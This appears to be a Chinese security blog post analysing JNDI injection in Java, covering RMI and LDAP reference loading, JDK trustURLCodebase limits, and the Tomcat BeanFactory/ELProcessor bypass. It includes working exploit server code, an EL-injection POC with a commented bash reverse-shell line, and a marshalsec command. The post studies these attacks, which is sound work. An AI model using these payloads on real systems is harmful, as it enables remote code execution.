JNDI注入浅析
最后更新时间:
写在前面
最近打算系统化梳理一下JAVA安全的知识点,本节知识点为JNDI,之前看了好多篇还并不是完全明白,这次再看加深印象。并且想自己动手写一个JNDI-Exploit,锻炼自己的工程化代码能力
什么是JNDI
全称:JAVA命名和目录接口(Java Naming and Directory Interface),通过调用JNDI的API可以定位资源和其他程序对象。现有可访问的目录和服务有JDBC LDAP RMI DNS NIS CORBA
命名 => Naming Service
命名服务主要是将名称和对象相关联,这里的对象并不是实体,而是对象的引用,其中包含着如何去访问对象的信息。
名称系统的几个重要概念
Bindings
: 表示一个名称和对应对象的绑定关系Context
:一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象References
: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为C/C++
中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。
目录 => Directory Service
目录服务是命名服务的扩展,它允许对象还可以具有属性。提供在目录中进行CRUD对象操作
由此,我们可以通过两种方式使用JNDI:
- 常规方式使用名称服务
- 使用目录服务作为对象存储的系统,即用目录服务来存储和获取Java对象
我们可以通过统一的API来访问不同的目录服务实现,架构如下:
其中的API分为应用层接口和SPI
SPI
全称为Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装
一些需要的类
InitialContext
构造方法:
1
2
3
4
5
6//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)常用方法:
1
2
3
4
5
6
7
8
9
10//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)Reference
对象的引用类
构造方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/常用方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
JNDI Reference 注入
前因:为了避免每次在命名服务绑定Java对象时都需要序列化大数据并传输,因此改为换成对象引用的方式。
对象就可以通过绑定一个可以被命名管理器(
Naming Manager
)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference来表示,里面包括一个RefAddress地址有序列表和所引用的对象信息,包括类名、创建对象的ObjectFactory类的名称和地址
Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
这也是JNDI的利用原理,当lookup参数可控时,便可向指定位置加载恶意对象
具体流程如下,这里以RMI服务为例
首先服务端绑定引用到注册中心,并且该引用对象中工厂类位置为恶意class所在位置
1 |
|
客户端通过rmi协议发起请求,即可造成恶意文件,实例化类时造成RCE
1 |
|
JNDI-RMI
低版本JDK
Evil Server 顺便练了一下javassit生成字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42public class EvilServer {
public static void main(String[] args) throws Exception {
makeEvilClass();
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://localhost:1098/";
Reference reference = new Reference("EvilClass", "EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);
System.out.println("Server ready, factoryUrl:" + factoryUrl);
}
public static void makeEvilClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("EvilClass");
cc.setInterfaces(new CtClass[]{ pool.get("javax.naming.spi.ObjectFactory") });
String code = "{try{System.out.println(\"EvilClass: \" + $1);} catch(Exception e){}}";
CtMethod ctMethod = new CtMethod(CtClass.voidType, "log", new CtClass[]{pool.get("java.lang.String")}, cc);
ctMethod.setModifiers(Modifier.STATIC);
ctMethod.setBody(code);
cc.addMethod(ctMethod);
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{EvilClass.log(\"constructor\");}");
cc.addConstructor(cons);
CtConstructor staticCode = cc.makeClassInitializer();
staticCode.setBody("{EvilClass.log(\"static block\");}");
CtClass returnType = pool.get("java.lang.Object");
CtClass[] parameters = {pool.get("java.lang.Object"), pool.get("javax.naming.Name"), pool.get("javax.naming.Context")};
CtMethod ctMethod1 = new CtMethod(returnType, "getObjectInstance", parameters, cc);
ctMethod1.addParameter(pool.get("java.util.Hashtable"));
ctMethod1.setBody("{EvilClass.log(\"getObjectInstance\"); return null;}");
cc.addMethod(ctMethod1);
cc.writeFile("D:\\ctf\\JNDI\\src\\main\\java\\");
}
}生成的class文件如下
Client:
1 |
|
服务端启动恶意服务器,客户端运行
各个代码块执行顺序:
1
2static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行
高版本JDK限制
JDK 6u132
、7u122
、8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
如果想要直接运行,如要添加参数
1
-D com.sun.jndi.rmi.object.trustURLCodebase=true
看下报错:
可以看到在
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
方法中,由于高版本trustURLCodebase默认为false,进入分支抛出异常高版本JDK绕过
绕过方式可以针对条件句的三个子句尝试进行利用
令var8也就是
ref
为空,需要让其既不是Reference
类也不是Referenceable
类,那么就只能直接用原始对象了,在RMI下不好利用令
ref.getFactoryClassLocation()
返回空值,也就是设置ref的classFactoryLocation
属性为空,客户端不再从远程加载class字节码第三项就是正常设置参数
如果按照第二个思路来的话,下一个执行为
NamingManager.getObjectInstance()
,我们跟进。这里会发现,如果
ref
不为空的话,先获取到工厂类名然后会直接尝试实例化工厂类,如果不为null将会进一步调用工厂类的getObjectInstance()
方法按照之前实验的客户端在lookup后的代码块执行顺序,我们只要能在这几个地方其中一个触发payload就行了
调用栈如下:
1
2
3
4
5
6
7InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行条件:
存在于目标本地的
CLASSPATH
中实现
javax.naming.spi.ObjectFactory
接口- 至少存在一个
getObjectInstance()
方法
利用:Tomcat内置类
依赖
1
2
3
4
5<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>看下
org.apache.naming.factory.BeanFactory#getObjectInstance()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}这里首先会通过反射实例化类,但注意调用的是无参构造方法。接着获取forceString所有的引用地址,并通过逗号分隔,每个分隔值中如果出现等号,则将逗号右侧的值作为setter方法的别名,左侧作为参数引用。之后会将其放入forced这个map当中。后续会调用所有的setter方法,参数为
RefAddr
的值(单参数),如此我们可以构造来实例化任意类并调用任意方法,只需满足该类含有无参构造函数以及可利用方法为单个参数传递javax.el.ELProcessor#eval()
可以通过eval方法执行EL表达式因此整个绕过流程,首先
ref.getFactoryClassLocation()
需要为空,也就是在设置引用类是设置属性factoryClassLocation为空即可;接着在NamingManager.getObjectInstance()
成功实例化了本地存在的工厂类org.apache.naming.factory.BeanFactory
,后者通过newInstance
调用目标类的无参构造创建实例,并通过预设值的setter别名机制调用到javax.el.ELProcessor#eval()
从而出发最终的EL表达式注入POC构造
这里的引用类利用了
ResourceRef
,它是tomcat中对某个资源的引用,构造函数如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}这里
x
即引用到的参数,其值即为javax.el.ELProcessor#eval()
要执行的参数内容groovy 这个类之后再看
绕过总结:
Server:
使用
ResourceRef
构造的beanClass
,这种利用方式构造的beanClass
是javax.el.ELProcessor
。ELProcessor
中有个eval(String)
方法可以执行EL
表达式,javax.el.ELProcessor
是Tomcat8
中的库,所以仅限Tomcat8
及更高版本环境下可以通过该库进行攻击。Client:
远程
RMI
服务器返回的Reference
对象中不指定Factory
的codebase
,且使用本地的factory
,如BeanFactory
,以此绕过trustURLCodebase
报错,执行NamingManager
;
在factory
的静态代码块、代码块、构造函数和getObjectInstance
方法任意一个里面构造payload
,即可在NamingManager
中执行。
工具:
JNDI_LDAP
LDAP服务是一种树型数据库,其中存在特殊的属性可以用来实现Java对象以序列化数据或者引用的方式来存储,这时如果被客户端解析的话,就可以引起远程代码执行
低版本JDK运行
工具利用marshalsec开启ldap服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass 8088
由于LDAP服务的
Reference
远程加载Factory
类并不是使用的RMI Class Loader
机制,因此不受trustURLCodebase
限制(8u191)恶意类放在服务器下
低版本结果
高版本结果
调用流程分析
前面的调用栈与RMI类似,lookup之后decodeObject
1
2
3
4
5
6
7
8decodeObject:235, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, Client跟进
com.sun.jndi.ldap.Obj.java#decodeObject()
,该方法会对服务端传来的数据根据不同的类型进行解码处理,类型可以是序列化数据或者引用对象,这里以引用对象为例
之后会调用decodeReference()
方法,其会获取服务端传来的属性值并构建一个Reference
实例
这里便
接着会返回到c_lookup
类中执行DirectoryManager#getObjectInstance()
其中var3为构建的引用类对象
这里可以看到首先将参数refInfo强转为Reference
类实例,接着调用getFactoryClassName
获取工厂类名,然后通过getObjectFactoryFromReference()
方法根据工厂类名获取远程调用类。我们看下这里的具体实现
其首先会从本地加载目标类,如果找不到的话再通过制定的工厂类位置来远程加载。整个过程没有URLCodebase
限制
高版本限制
在高版本
JDK
中需要通过com.sun.jndi.ldap.object.trustURLCodebase
选项去启用。这个限制在JDK 11.0.1
、8u191
、7u201
、6u211
版本时加入,略晚于RMI
的远程加载限制。限制位置加载了
helper.loadClass()
,也就是VersionHelper12#loadClass()
中其他几种利用方式
使用序列化数据触发Gadget
在
com.sun.jndi.ldap.Obj.java#decodeObject()
中通过JAVA_ATTRIBUTES[SERIALIZED_DATA]
检测服务端传来的是否为序列化数据,进而调用deserializeObject()
方法
跟进可以看到存在原生反序列化readObject()
改造marchalsec
服务端程序的sendResult()
部分即可,我这里的序列化数据以CC2为例
1 |
|
触发点2:第一种改造
关注com.sun.jndi.ldap.Obj.java#decodeReference()
方法,其在重构Reference
对象的基础之上,如果存在javaReferenceAddress属性还会继续构建该属性,满足特定条件可以也触发deserializeObject()
方法
需要满足的条件如下:
- 第一个符号为分隔符
- 第一个分隔符和第二个分隔符之间,表示
Reference
的position
,需要是整数类型 - 第二个分隔符到第三个分隔符之间,表示
type
- 第三个分隔符为双分隔符,用于表示为内容,之后的内容为序列化数据
- 序列化数据需要Base64编码
1 |
|
JNDI-RMI
注入方式有:
codebase
(JDK 6u132
、7u122
、8u113
之前可以)- 利用本地
Class Factory
作为Reference Factory
JNDI-LDAP
注入方式:
codebase
(JDK 11.0.1
、8u191
、7u201
、6u211
之前可以)serialize
(两个切入点)
工具化利用
这里参考su18师傅和 welk1n 师傅的工具造个轮子,锻炼一下自己的工程化开发能力
之后新开一帖